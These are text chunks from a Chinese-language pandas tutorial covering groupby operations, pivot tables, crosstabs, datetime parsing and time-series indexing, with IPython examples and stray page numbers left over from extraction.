    {"text": "下面是一些有关美国几个州的示例数据，这些州又被分为东部和西 部： In [95]: states = ['Ohio', 'New York', 'Vermont', 'Florida', ....: 'Oregon', 'Nevada', 'California', 'Idaho'] In [96]: group_key = ['East'] * 4 + ['West'] * 4 In [97]: data = pd.Series(np.random.randn(8), index=states) In [98]: data Out[98]: Ohio 0.922264 New York -2.153545 Vermont -0.365757 Florida -0.375842 Oregon 0.329939 Nevada 0.981994 California 1.105913 Idaho -1.613716 dtype: float64 ['East'] * 4产生了一个列表，包括了['East']中元素的四个拷贝。"},
    {"text": "将一些值设为缺失： In [99]: data[['Vermont', 'Nevada', 'Idaho']] = np.nan In [100]: data Out[100]: 308 Ohio 0.922264 New York -2.153545 Vermont NaN Florida -0.375842 Oregon 0.329939 Nevada NaN California 1.105913 Idaho NaN dtype: float64 In [101]: data.groupby(group_key).mean() Out[101]: East -0.535707 West 0.717926 dtype: float64 我们可以用分组平均值去填充NA值: In [102]: fill_mean = lambda g: g.fillna(g.mean()) In [103]: data.groupby(group_key).apply(fill_mean) Out[103]: Ohio 0.922264 New York -2.153545 Vermont -0.535707 Florida -0.375842 Oregon 0.329939 Nevada 0.717926 California 1.105913 Idaho 0.717926 dtype: float64 另外，也可以在代码中预定义各组的填充值。 由于分组具有一个name属性，所以我们可以拿来用 一下： In [104]: fill_values = {'East': 0.5, 'West': -1} In [105]: fill_func = lambda g: g.fillna(fill_values[g.name]) In [106]: data.groupby(group_key).apply(fill_func) Out[106]: Ohio 0.922264 New York -2.153545 Vermont 0.500000 Florida -0.375842 Oregon 0.329939 Nevada -1.000000 309 California 1.105913 Idaho -1.000000 dtype: float64 示例：随机采样和排列 假设你想要从一个大数据集中随机抽取（进行替换或不替换）样本以进行蒙特卡罗模拟（Monte Carlo simulation）或其他分析工作。"},
    {"text": "“抽取”的方式有很多，这里使用的方法是对Series使用sample 方法： # Hearts, Spades, Clubs, Diamonds suits = ['H', 'S', 'C', 'D'] card_val = (list(range(1, 11)) + [10] * 3) * 4 base_names = ['A'] + list(range(2, 11)) + ['J', 'K', 'Q'] cards = [] for suit in ['H', 'S', 'C', 'D']: cards.extend(str(num) + suit for num in base_names) deck = pd.Series(card_val, index=cards) 现在我有了一个长度为52的Series，其索引包括牌名，值则是21点或其他游戏中用于计分的点数 （为了简单起见，我当A的点数为1）： In [108]: deck[:13] Out[108]: AH 1 2H 2 3H 3 4H 4 5H 5 6H 6 7H 7 8H 8 9H 9 10H 10 JH 10 KH 10 QH 10 dtype: int64 现在，根据我上面所讲的，从整副牌中抽出5张，代码如下： In [109]: def draw(deck, n=5): .....: return deck.sample(n) 310 In [110]: draw(deck) Out[110]: AD 1 8C 8 5H 5 KC 10 2C 2 dtype: int64 假设你想要从每种花色中随机抽取两张牌。 由于花色是牌名的最后一个字符，所以我们可以据此进 行分组，并使用apply： In [111]: get_suit = lambda card: card[-1] # last letter is suit In [112]: deck.groupby(get_suit).apply(draw, n=2) Out[112]: C 2C 2 3C 3 D KD 10 8D 8 H KH 10 3H 3 S 2S 2 4S 4 dtype: int64 或者，也可以这样写： In [113]: deck.groupby(get_suit, group_keys=False).apply(draw, n=2) Out[113]: KC 10 JC 10 AD 1 5D 5 5H 5 6H 6 7S 7 KS 10 dtype: int64 示例：分组加权平均数和相关系数 根据groupby的“拆分－应用－合并”范式，可以进行DataFrame的列与列之间或两个Series之间的 运算（比如分组加权平均）。 以下面这个数据集为例，它含有分组键、值以及一些权重值： 311 In [114]: df = pd.DataFrame({'category': ['a', 'a', 'a', 'a', .....: 'b', 'b', 'b', 'b'], .....: 'data': np.random.randn(8), .....: 'weights': np.random.rand(8)}) In [115]: df Out[115]: category data weights 0 a 1.561587 0.957515 1 a 1.219984 0.347267 2 a -0.482239 0.581362 3 a 0.315667 0.217091 4 b -0.047852 0.894406 5 b -0.454145 0.918564 6 b -0.556774 0.277825 7 b 0.253321 0.955905 然后可以利用category计算分组加权平均数： In [116]: grouped = df.groupby('category') In [117]: get_wavg = lambda g: np.average(g['data'], weights=g['weights']) In [118]: grouped.apply(get_wavg) Out[118]: category a 0.811643 b -0.122262 dtype: float64 另一个例子，考虑一个来自Yahoo!Finance的数据集，其中含有几只股票和标准普尔500指数（符 号SPX）的收盘价： In [119]: close_px = pd.read_csv('examples/stock_px_2.csv', parse_dates=True, .....: index_col=0) In [120]: close_px.info() <class 'pandas.core.frame.DataFrame'> DatetimeIndex: 2214 entries, 2003-01-02 to 2011-10-14 Data columns (total 4 columns): AAPL 2214 non-null float64 MSFT 2214 non-null float64 XOM 2214 non-null float64 SPX 2214 non-null float64 dtypes: float64(4) memory usage: 86.5 KB 312 In [121]: close_px[-4:] Out[121]: AAPL MSFT XOM SPX 2011-10-11 400.29 27.00 76.27 1195.54 2011-10-12 402.19 26.96 77.16 1207.25 2011-10-13 408.43 27.18 76.37 1203.66 2011-10-14 422.00 27.27 78.11 1224.58 来做一个比较有趣的任务：计算一个由日收益率（通过百分数变化计算）与SPX之间的年度相关系 数组成的DataFrame。 下面是一个实现办法，我们先创建一个函数，用它计算每列和SPX列的成对 相关系数： In [122]: spx_corr = lambda x: x.corrwith(x['SPX']) 接下来，我们使用pct_change计算close_px的百分比变化： In [123]: rets = close_px.pct_change().dropna() 最后，我们用年对百分比变化进行分组，可以用一个一行的函数，从每行的标签返回每个datetime 标签的year属性： In [124]: get_year = lambda x: x.year In [125]: by_year = rets.groupby(get_year) In [126]: by_year.apply(spx_corr) Out[126]: AAPL MSFT XOM SPX 2003 0.541124 0.745174 0.661265 1.0 2004 0.374283 0.588531 0.557742 1.0 2005 0.467540 0.562374 0.631010 1.0 2006 0.428267 0.406126 0.518514 1.0 2007 0.508118 0.658770 0.786264 1.0 2008 0.681434 0.804626 0.828303 1.0 2009 0.707103 0.654902 0.797921 1.0 2010 0.710105 0.730118 0.839057 1.0 2011 0.691931 0.800996 0.859975 1.0 当然，你还可以计算列与列之间的相关系数。"},
    {"text": "这里，我们计算Apple和Microsoft的年相关系数： In [127]: by_year.apply(lambda g: g['AAPL'].corr(g['MSFT'])) Out[127]: 2003 0.480868 2004 0.259024 313 2005 0.300093 2006 0.161735 2007 0.417738 2008 0.611901 2009 0.432738 2010 0.571946 2011 0.581987 dtype: float64 示例：组级别的线性回归 顺着上一个例子继续，你可以用groupby执行更为复杂的分组统计分析，只要函数返回的是pandas 对象或标量值即可。"},
    {"text": "例如，我可以定义下面这个regress函数（利用statsmodels计量经济学库）对 各数据块执行普通最小二乘法（Ordinary Least Squares，OLS）回归： import statsmodels.api as sm def regress(data, yvar, xvars): Y = data[yvar] X = data[xvars] X['intercept'] = 1. result = sm.OLS(Y, X).fit() return result.params 现在，为了按年计算AAPL对SPX收益率的线性回归，执行： In [129]: by_year.apply(regress, 'AAPL', ['SPX']) Out[129]: SPX intercept 2003 1.195406 0.000710 2004 1.363463 0.004201 2005 1.766415 0.003246 2006 1.645496 0.000080 2007 1.198761 0.003438 2008 0.968016 -0.001110 2009 0.879103 0.002954 2010 1.052608 0.001261 2011 0.806605 0.001514 10.4 透视表和交叉表 透视表（pivot table）是各种电子表格程序和其他数据分析软件中一种常见的数据汇总工具。"},
    {"text": "回到小费数据集，假设我想要根据day和smoker计算分组平均数（pivot_table的默认聚合类型）， 并将day和smoker放到行上： In [130]: tips.pivot_table(index=['day', 'smoker']) Out[130]: size tip tip_pct total_bill day smoker Fri No 2.250000 2.812500 0.151650 18.420000 Yes 2.066667 2.714000 0.174783 16.813333 Sat No 2.555556 3.102889 0.158048 19.661778 Yes 2.476190 2.875476 0.147906 21.276667 Sun No 2.929825 3.167895 0.160113 20.506667 Yes 2.578947 3.516842 0.187250 24.120000 Thur No 2.488889 2.673778 0.160298 17.113111 Yes 2.352941 3.030000 0.163863 19.190588 可以用groupby直接来做。"},
    {"text": "我 将smoker放到列上，把day放到行上： In [131]: tips.pivot_table(['tip_pct', 'size'], index=['time', 'day'], .....: columns='smoker') Out[131]: size tip_pct smoker No Yes No Yes time day Dinner Fri 2.000000 2.222222 0.139622 0.165347 Sat 2.555556 2.476190 0.158048 0.147906 Sun 2.929825 2.578947 0.160113 0.187250 Thur 2.000000 NaN 0.159744 NaN Lunch Fri 3.000000 1.833333 0.187735 0.188937 Thur 2.500000 2.352941 0.160311 0.163863 还可以对这个表作进一步的处理，传入margins=True添加分项小计。 这将会添加标签为All的行和 列，其值对应于单个等级中所有数据的分组统计： In [132]: tips.pivot_table(['tip_pct', 'size'], index=['time', 'day'], .....: columns='smoker', margins=True) Out[132]: size tip_pct smoker No Yes All No Yes All time day Dinner Fri 2.000000 2.222222 2.166667 0.139622 0.165347 0.158916 Sat 2.555556 2.476190 2.517241 0.158048 0.147906 0.153152 315 Sun 2.929825 2.578947 2.842105 0.160113 0.187250 0.166897 Thur 2.000000 NaN 2.000000 0.159744 NaN 0.159744 Lunch Fri 3.000000 1.833333 2.000000 0.187735 0.188937 0.188765 Thur 2.500000 2.352941 2.459016 0.160311 0.163863 0.161301 All 2.668874 2.408602 2.569672 0.159328 0.163196 0.160803 这里，All值为平均数：不单独考虑烟民与非烟民（All列），不单独考虑行分组两个级别中的任何 单项（All行）。"},
    {"text": "例如，使用count或len可以得到有关分组大小的 交叉表（计数或频率）： In [133]: tips.pivot_table('tip_pct', index=['time', 'smoker'], columns='day', .....: aggfunc=len, margins=True) Out[133]: day Fri Sat Sun Thur All time smoker Dinner No 3.0 45.0 57.0 1.0 106.0 Yes 9.0 42.0 19.0 NaN 70.0 Lunch No 1.0 NaN NaN 44.0 45.0 Yes 6.0 NaN NaN 17.0 23.0 All 19.0 87.0 76.0 62.0 244.0 如果存在空的组合（也就是NA），你可能会希望设置一个fill_value： In [134]: tips.pivot_table('tip_pct', index=['time', 'size', 'smoker'], .....: columns='day', aggfunc='mean', fill_value=0) Out[134]: day Fri Sat Sun Thur time size smoker Dinner 1 No 0.000000 0.137931 0.000000 0.000000 Yes 0.000000 0.325733 0.000000 0.000000 2 No 0.139622 0.162705 0.168859 0.159744 Yes 0.171297 0.148668 0.207893 0.000000 3 No 0.000000 0.154661 0.152663 0.000000 Yes 0.000000 0.144995 0.152660 0.000000 4 No 0.000000 0.150096 0.148143 0.000000 Yes 0.117750 0.124515 0.193370 0.000000 5 No 0.000000 0.000000 0.206928 0.000000 Yes 0.000000 0.106572 0.065660 0.000000 ... ... ... ... ... Lunch 1 No 0.000000 0.000000 0.000000 0.181728 Yes 0.223776 0.000000 0.000000 0.000000 2 No 0.000000 0.000000 0.000000 0.166005 Yes 0.181969 0.000000 0.000000 0.158843 3 No 0.187735 0.000000 0.000000 0.084246 Yes 0.000000 0.000000 0.000000 0.204952 316 4 No 0.000000 0.000000 0.000000 0.138919 Yes 0.000000 0.000000 0.000000 0.155410 5 No 0.000000 0.000000 0.000000 0.121389 6 No 0.000000 0.000000 0.000000 0.173706 [21 rows x 4 columns] pivot_table的参数说明请参见表10-2。"},
    {"text": "看下面的例 子： In [138]: data Out[138]: Sample Nationality Handedness 0 1 USA Right-handed 1 2 Japan Left-handed 2 3 USA Right-handed 3 4 Japan Right-handed 4 5 Japan Left-handed 5 6 Japan Right-handed 6 7 USA Right-handed 7 8 USA Left-handed 8 9 Japan Right-handed 9 10 USA Right-handed 作为调查分析的一部分，我们可能想要根据国籍和用手习惯对这段数据进行统计汇总。"},
    {"text": "虽然可以用 pivot_table实现该功能，但是pandas.crosstab函数会更方便： In [139]: pd.crosstab(data.Nationality, data.Handedness, margins=True) Out[139]: Handedness Left-handed Right-handed All Nationality Japan 2 3 5 317 USA 1 4 5 All 3 7 10 crosstab的前两个参数可以是数组或Series，或是数组列表。 就像小费数据： In [140]: pd.crosstab([tips.time, tips.day], tips.smoker, margins=True) Out[140]: smoker No Yes All time day Dinner Fri 3 9 12 Sat 45 42 87 Sun 57 19 76 Thur 1 0 1 Lunch Fri 1 6 7 Thur 44 17 61 All 151 93 244 10.5 总结 掌握pandas数据分组工具既有助于数据清理，也有助于建模或统计分析工作。"},
    {"text": "这本书不 涉及timedelta指数，但你可以学习pandas的文档（ Out[15]: datetime.timedelta(926, 56700) In [16]: delta.days Out[16]: 926 In [17]: delta.seconds Out[17]: 56700 可以给datetime对象加上（或减去）一个或多个timedelta，这样会产生一个新对象： In [18]: from datetime import timedelta In [19]: start = datetime(2011, 1, 7) In [20]: start + timedelta(12) Out[20]: datetime.datetime(2011, 1, 19, 0, 0) In [21]: start - 2 * timedelta(12) Out[21]: datetime.datetime(2010, 12, 14, 0, 0) datetime模块中的数据类型参见表10-1。"},
    {"text": "表11-1 datetime模块中的数据类型 tzinfo 存储时区信息的基本类型 字符串和 datetime 的相互转换 利用str或strftime方法（传入一个格式化字符串），datetime对象和pandas的Timestamp对象（稍 后就会介绍）可以被格式化为字符串： In [22]: stamp = datetime(2011, 1, 3) In [23]: str(stamp) Out[23]: '2011-01-03 00:00:00' In [24]: stamp.strftime('%Y-%m-%d') Out[24]: '2011-01-03' 320 表11-2列出了全部的格式化编码。 表11-2 datetime格式定义（兼容ISO C89） datetime.strptime可以用这些格式化编码将字符串转换为日期： In [25]: value = '2011-01-03' In [26]: datetime.strptime(value, '%Y-%m-%d') Out[26]: datetime.datetime(2011, 1, 3, 0, 0) In [27]: datestrs = ['7/6/2011', '8/6/2011'] In [28]: [datetime.strptime(x, '%m/%d/%Y') for x in datestrs] Out[28]: [datetime.datetime(2011, 7, 6, 0, 0), datetime.datetime(2011, 8, 6, 0, 0)] datetime.strptime是通过已知格式进行日期解析的最佳方式。"},
    {"text": "这种情况下，你可以用dateutil这个第三方包中的 parser.parse方法（pandas中已经自动安装好了）： 321 In [29]: from dateutil.parser import parse In [30]: parse('2011-01-03') Out[30]: datetime.datetime(2011, 1, 3, 0, 0) dateutil可以解析几乎所有人类能够理解的日期表示形式： In [31]: parse('Jan 31, 1997 10:45 PM') Out[31]: datetime.datetime(1997, 1, 31, 22, 45) 在国际通用的格式中，日出现在月的前面很普遍，传入dayfirst=True即可解决这个问题： In [32]: parse('6/12/2011', dayfirst=True) Out[32]: datetime.datetime(2011, 12, 6, 0, 0) pandas通常是用于处理成组日期的，不管这些日期是DataFrame的轴索引还是列。"},
    {"text": "对标准日期格式（如ISO8601）的解析非常快： In [33]: datestrs = ['2011-07-06 12:00:00', '2011-08-06 00:00:00'] In [34]: pd.to_datetime(datestrs) Out[34]: DatetimeIndex(['2011-07-06 12:00:00', '2011-08-06 00:00:00'], dtype='dat etime64[ns]', freq=None) 它还可以处理缺失值（None、空字符串等）： In [35]: idx = pd.to_datetime(datestrs + [None]) In [36]: idx Out[36]: DatetimeIndex(['2011-07-06 12:00:00', '2011-08-06 00:00:00', 'NaT'], dty pe='datetime64[ns]', freq=None) In [37]: idx[2] Out[37]: NaT In [38]: pd.isnull(idx) Out[38]: array([False, False, True], dtype=bool) NaT（Not a Time）是pandas中时间戳数据的null值。"},
    {"text": "表11-3 特定于当前环境的日期格式 11.2 时间序列基础 pandas最基本的时间序列类型就是以时间戳（通常以Python字符串或datatime对象表示）为索引 的Series： In [39]: from datetime import datetime In [40]: dates = [datetime(2011, 1, 2), datetime(2011, 1, 5), ....: datetime(2011, 1, 7), datetime(2011, 1, 8), ....: datetime(2011, 1, 10), datetime(2011, 1, 12)] In [41]: ts = pd.Series(np.random.randn(6), index=dates) In [42]: ts Out[42]: 2011-01-02 -0.204708 2011-01-05 0.478943 2011-01-07 -0.519439 2011-01-08 -0.555730 2011-01-10 1.965781 2011-01-12 1.393406 dtype: float64 这些datetime对象实际上是被放在一个DatetimeIndex中的： In [43]: ts.index Out[43]: 323 DatetimeIndex(['2011-01-02', '2011-01-05', '2011-01-07', '2011-01-08', '2011-01-10', '2011-01-12'], dtype='datetime64[ns]', freq=None) 跟其他Series一样，不同索引的时间序列之间的算术运算会自动按日期对齐： In [44]: ts + ts[::2] Out[44]: 2011-01-02 -0.409415 2011-01-05 NaN 2011-01-07 -1.038877 2011-01-08 NaN 2011-01-10 3.931561 2011-01-12 NaN dtype: float64 ts[::2] 是每隔两个取一个。 pandas用NumPy的datetime64数据类型以纳秒形式存储时间戳： In [45]: ts.index.dtype Out[45]: dtype('<M8[ns]') DatetimeIndex中的各个标量值是pandas的Timestamp对象： In [46]: stamp = ts.index[0] In [47]: stamp Out[47]: Timestamp('2011-01-02 00:00:00') 只要有需要，TimeStamp可以随时自动转换为datetime对象。"},
    {"text": "索引、选取、子集构造 当你根据标签索引选取数据时，时间序列和其它的pandas.Series很像： In [48]: stamp = ts.index[2] In [49]: ts[stamp] Out[49]: -0.51943871505673811 还有一种更为方便的用法：传入一个可以被解释为日期的字符串： 324 In [50]: ts['1/10/2011'] Out[50]: 1.9657805725027142 In [51]: ts['20110110'] Out[51]: 1.9657805725027142 对于较长的时间序列，只需传入“年”或“年月”即可轻松选取数据的切片： In [52]: longer_ts = pd.Series(np.random.randn(1000), ....: index=pd.date_range('1/1/2000', periods=1000)) In [53]: longer_ts Out[53]: 2000-01-01 0.092908 2000-01-02 0.281746 2000-01-03 0.769023 2000-01-04 1.246435 2000-01-05 1.007189 2000-01-06 -1.296221 2000-01-07 0.274992 2000-01-08 0.228913 2000-01-09 1.352917 2000-01-10 0.886429 ... 2002-09-17 -0.139298 2002-09-18 -1.159926 2002-09-19 0.618965 2002-09-20 1.373890 2002-09-21 -0.983505 2002-09-22 0.930944 2002-09-23 -0.811676 2002-09-24 -1.830156 2002-09-25 -0.138730 2002-09-26 0.334088 Freq: D, Length: 1000, dtype: float64 In [54]: longer_ts['2001'] Out[54]: 2001-01-01 1.599534 2001-01-02 0.474071 2001-01-03 0.151326 2001-01-04 -0.542173 2001-01-05 -0.475496 2001-01-06 0.106403 2001-01-07 -1.308228 2001-01-08 2.173185 2001-01-09 0.564561 325 2001-01-10 -0.190481 ... 2001-12-22 0.000369 2001-12-23 0.900885 2001-12-24 -0.454869 2001-12-25 -0.864547 2001-12-26 1.129120 2001-12-27 0.057874 2001-12-28 -0.433739 2001-12-29 0.092698 2001-12-30 -1.397820 2001-12-31 1.457823 Freq: D, Length: 365, dtype: float64 这里，字符串“2001”被解释成年，并根据它选取时间区间。 指定月也同样奏效： In [55]: longer_ts['2001-05'] Out[55]: 2001-05-01 -0.622547 2001-05-02 0.936289 2001-05-03 0.750018 2001-05-04 -0.056715 2001-05-05 2.300675 2001-05-06 0.569497 2001-05-07 1.489410 2001-05-08 1.264250 2001-05-09 -0.761837 2001-05-10 -0.331617 ... 2001-05-22 0.503699 2001-05-23 -1.387874 2001-05-24 0.204851 2001-05-25 0.603705 2001-05-26 0.545680 2001-05-27 0.235477 2001-05-28 0.111835 2001-05-29 -1.251504 2001-05-30 -2.949343 2001-05-31 0.634634 Freq: D, Length: 31, dtype: float64 datetime对象也可以进行切片： In [56]: ts[datetime(2011, 1, 7):] Out[56]: 2011-01-07 -0.519439 2011-01-08 -0.555730 326 2011-01-10 1.965781 2011-01-12 1.393406 dtype: float64 由于大部分时间序列数据都是按照时间先后排序的，因此你也可以用不存在于该时间序列中的时间 戳对其进行切片（即范围查询）： In [57]: ts Out[57]: 2011-01-02 -0.204708 2011-01-05 0.478943 2011-01-07 -0.519439 2011-01-08 -0.555730 2011-01-10 1.965781 2011-01-12 1.393406 dtype: float64 In [58]: ts['1/6/2011':'1/11/2011'] Out[58]: 2011-01-07 -0.519439 2011-01-08 -0.555730 2011-01-10 1.965781 dtype: float64 跟之前一样，你可以传入字符串日期、datetime或Timestamp。"},
    {"text": "此外，还有一个等价的实例方法也可以截取两个日期之间TimeSeries： In [59]: ts.truncate(after='1/9/2011') Out[59]: 2011-01-02 -0.204708 2011-01-05 0.478943 2011-01-07 -0.519439 2011-01-08 -0.555730 dtype: float64 面这些操作对DataFrame也有效。"},
    {"text": "例如，对DataFrame的行进行索引： In [60]: dates = pd.date_range('1/1/2000', periods=100, freq='W-WED') In [61]: long_df = pd.DataFrame(np.random.randn(100, 4), ....: index=dates, ....: columns=['Colorado', 'Texas', 327 ....: 'New York', 'Ohio']) In [62]: long_df.loc['5-2001'] Out[62]: Colorado Texas New York Ohio 2001-05-02 -0.006045 0.490094 -0.277186 -0.707213 2001-05-09 -0.560107 2.735527 0.927335 1.513906 2001-05-16 0.538600 1.273768 0.667876 -0.969206 2001-05-23 1.676091 -0.817649 0.050188 1.951312 2001-05-30 3.260383 0.963301 1.201206 -1.852001 带有重复索引的时间序列 在某些应用场景中，可能会存在多个观测数据落在同一个时间点上的情况。 下面就是一个例子： In [63]: dates = pd.DatetimeIndex(['1/1/2000', '1/2/2000', '1/2/2000', ....: '1/2/2000', '1/3/2000']) In [64]: dup_ts = pd.Series(np.arange(5), index=dates) In [65]: dup_ts Out[65]: 2000-01-01 0 2000-01-02 1 2000-01-02 2 2000-01-02 3 2000-01-03 4 dtype: int64 通过检查索引的is_unique属性，我们就可以知道它是不是唯一的： In [66]: dup_ts.index.is_unique Out[66]: False 对这个时间序列进行索引，要么产生标量值，要么产生切片，具体要看所选的时间点是否重复： In [67]: dup_ts['1/3/2000'] # not duplicated Out[67]: 4 In [68]: dup_ts['1/2/2000'] # duplicated Out[68]: 2000-01-02 1 2000-01-02 2 2000-01-02 3 dtype: int64 328 假设你想要对具有非唯一时间戳的数据进行聚合。 一个办法是使用groupby，并传入level=0： In [69]: grouped = dup_ts.groupby(level=0) In [70]: grouped.mean() Out[70]: 2000-01-01 0 2000-01-02 2 2000-01-03 4 dtype: int64 In [71]: grouped.count() Out[71]: 2000-01-01 1 2000-01-02 3 2000-01-03 1 dtype: int64 11.3 日期的范围、频率以及移动 pandas中的原生时间序列一般被认为是不规则的，也就是说，它们没有固定的频率。"},
    {"text": "例如，我们可以将之前那个 时间序列转换为一个具有固定频率（每日）的时间序列，只需调用resample即可： In [72]: ts Out[72]: 2011-01-02 -0.204708 2011-01-05 0.478943 2011-01-07 -0.519439 2011-01-08 -0.555730 2011-01-10 1.965781 2011-01-12 1.393406 dtype: float64 In [73]: resampler = ts.resample('D') 字符串“D”是每天的意思。"},
    {"text": "生成日期范围 329 虽然我之前用的时候没有明说，但你可能已经猜到pandas.date_range可用于根据指定的频率生成 指定长度的DatetimeIndex： In [74]: index = pd.date_range('2012-04-01', '2012-06-01') In [75]: index Out[75]: DatetimeIndex(['2012-04-01', '2012-04-02', '2012-04-03', '2012-04-04', '2012-04-05', '2012-04-06', '2012-04-07', '2012-04-08', '2012-04-09', '2012-04-10', '2012-04-11', '2012-04-12', '2012-04-13', '2012-04-14', '2012-04-15', '2012-04-16', '2012-04-17', '2012-04-18', '2012-04-19', '2012-04-20', '2012-04-21', '2012-04-22', '2012-04-23', '2012-04-24', '2012-04-25', '2012-04-26', '2012-04-27', '2012-04-28', '2012-04-29', '2012-04-30', '2012-05-01', '2012-05-02', '2012-05-03', '2012-05-04', '2012-05-05', '2012-05-06', '2012-05-07', '2012-05-08', '2012-05-09', '2012-05-10', '2012-05-11', '2012-05-12', '2012-05-13', '2012-05-14', '2012-05-15', '2012-05-16', '2012-05-17', '2012-05-18', '2012-05-19', '2012-05-20', '2012-05-21', '2012-05-22', '2012-05-23', '2012-05-24', '2012-05-25', '2012-05-26', '2012-05-27', '2012-05-28', '2012-05-29', '2012-05-30', '2012-05-31', '2012-06-01'], dtype='datetime64[ns]', freq='D') 默认情况下，date_range会产生按天计算的时间点。 如果只传入起始或结束日期，那就还得传入 一个表示一段时间的数字： In [76]: pd.date_range(start='2012-04-01', periods=20) Out[76]: DatetimeIndex(['2012-04-01', '2012-04-02', '2012-04-03', '2012-04-04', '2012-04-05', '2012-04-06', '2012-04-07', '2012-04-08', '2012-04-09', '2012-04-10', '2012-04-11', '2012-04-12', '2012-04-13', '2012-04-14', '2012-04-15', '2012-04-16', '2012-04-17', '2012-04-18', '2012-04-19', '2012-04-20'], dtype='datetime64[ns]', freq='D') In [77]: pd.date_range(end='2012-06-01', periods=20) Out[77]: DatetimeIndex(['2012-05-13', '2012-05-14', '2012-05-15', '2012-05-16', '2012-05-17', '2012-05-18', '2012-05-19', '2012-05-20', '2012-05-21', '2012-05-22', '2012-05-23', '2012-05-24', '2012-05-25', '2012-05-26', '2012-05-27','2012-05-28', '2012-05-29', '2012-05-30', '2012-05-31', '2012-06-01'], dtype='datetime64[ns]', freq='D') 330 起始和结束日期定义了日期索引的严格边界。 例如，如果你想要生成一个由每月最后一个工作日组 成的日期索引，可以传入\"BM\"频率（表示business end of month，表11-4是频率列表），这样就 只会包含时间间隔内（或刚好在边界上的）符合频率要求的日期： In [78]: pd.date_range('2000-01-01', '2000-12-01', freq='BM') Out[78]: DatetimeIndex(['2000-01-31', '2000-02-29', '2000-03-31', '2000-04-28', '2000-05-31', '2000-06-30', '2000-07-31', '2000-08-31', '2000-09-29', '2000-10-31', '2000-11-30'], dtype='datetime64[ns]', freq='BM') 表11-4 基本的时间序列频率（不完整） 331 date_range默认会保留起始和结束时间戳的时间信息（如果有的话）： In [79]: pd.date_range('2012-05-02 12:56:31', periods=5) Out[79]: DatetimeIndex(['2012-05-02 12:56:31', '2012-05-03 12:56:31', '2012-05-04 12:56:31', '2012-05-05 12:56:31', '2012-05-06 12:56:31'], dtype='datetime64[ns]', freq='D') 有时，虽然起始和结束日期带有时间信息，但你希望产生一组被规范化（normalize）到午夜的时 间戳。 normalize选项即可实现该功能： In [80]: pd.date_range('2012-05-02 12:56:31', periods=5, normalize=True) Out[80]: DatetimeIndex(['2012-05-02', '2012-05-03', '2012-05-04', '2012-05-05', '2012-05-06'], dtype='datetime64[ns]', freq='D') 频率和日期偏移量 pandas中的频率是由一个基础频率（base frequency）和一个乘数组成的。"},
    {"text": "基础频率通常以一个 字符串别名表示，比如\"M\"表示每月，\"H\"表示每小时。 对于每个基础频率，都有一个被称为日期偏 移量（date offset）的对象与之对应。"},
    {"text": "例如，按小时计算的频率可以用Hour类表示： In [81]: from pandas.tseries.offsets import Hour, Minute In [82]: hour = Hour() In [83]: hour Out[83]: <Hour> 332 传入一个整数即可定义偏移量的倍数： In [84]: four_hours = Hour(4) In [85]: four_hours Out[85]: <4 * Hours> 一般来说，无需明确创建这样的对象，只需使用诸如\"H\"或\"4H\"这样的字符串别名即可。 在基础频 率前面放上一个整数即可创建倍数： In [86]: pd.date_range('2000-01-01', '2000-01-03 23:59', freq='4h') Out[86]: DatetimeIndex(['2000-01-01 00:00:00', '2000-01-01 04:00:00', '2000-01-01 08:00:00', '2000-01-01 12:00:00', '2000-01-01 16:00:00', '2000-01-01 20:00:00', '2000-01-02 00:00:00', '2000-01-02 04:00:00', '2000-01-02 08:00:00', '2000-01-02 12:00:00', '2000-01-02 16:00:00', '2000-01-02 20:00:00', '2000-01-03 00:00:00', '2000-01-03 04:00:00', '2000-01-03 08:00:00', '2000-01-03 12:00:00', '2000-01-03 16:00:00', '2000-01-03 20:00:00'], dtype='datetime64[ns]', freq='4H') 大部分偏移量对象都可通过加法进行连接： In [87]: Hour(2) + Minute(30) Out[87]: <150 * Minutes> 同理，你也可以传入频率字符串（如\"2h30min\"），这种字符串可以被高效地解析为等效的表达 式： In [88]: pd.date_range('2000-01-01', periods=10, freq='1h30min') Out[88]: DatetimeIndex(['2000-01-01 00:00:00', '2000-01-01 01:30:00', '2000-01-01 03:00:00', '2000-01-01 04:30:00', '2000-01-01 06:00:00', '2000-01-01 07:30:00', '2000-01-01 09:00:00', '2000-01-01 10:30:00', '2000-01-01 12:00:00', '2000-01-01 13:30:00'], dtype='datetime64[ns]', freq='90T') 有些频率所描述的时间点并不是均匀分隔的。"},
    {"text": "它使你能获得诸如“每月第3 个星期五”之类的日期： In [89]: rng = pd.date_range('2012-01-01', '2012-09-01', freq='WOM-3FRI') In [90]: list(rng) Out[90]: [Timestamp('2012-01-20 00:00:00', freq='WOM-3FRI'), Timestamp('2012-02-17 00:00:00', freq='WOM-3FRI'), Timestamp('2012-03-16 00:00:00', freq='WOM-3FRI'), Timestamp('2012-04-20 00:00:00', freq='WOM-3FRI'), Timestamp('2012-05-18 00:00:00', freq='WOM-3FRI'), Timestamp('2012-06-15 00:00:00', freq='WOM-3FRI'), Timestamp('2012-07-20 00:00:00', freq='WOM-3FRI'), Timestamp('2012-08-17 00:00:00', freq='WOM-3FRI')] 移动（超前和滞后）数据 移动（shifting）指的是沿着时间轴将数据前移或后移。 Series和DataFrame都有一个shift方法用于 执行单纯的前移或后移操作，保持索引不变： In [91]: ts = pd.Series(np.random.randn(4), ....: index=pd.date_range('1/1/2000', periods=4, freq='M')) In [92]: ts Out[92]: 2000-01-31 -0.066748 2000-02-29 0.838639 2000-03-31 -0.117388 335 2000-04-30 -0.517795 Freq: M, dtype: float64 In [93]: ts.shift(2) Out[93]: 2000-01-31 NaN 2000-02-29 NaN 2000-03-31 -0.066748 2000-04-30 0.838639 Freq: M, dtype: float64 In [94]: ts.shift(-2) Out[94]: 2000-01-31 -0.117388 2000-02-29 -0.517795 2000-03-31 NaN 2000-04-30 NaN Freq: M, dtype: float64 当我们这样进行移动时，就会在时间序列的前面或后面产生缺失数据。"},
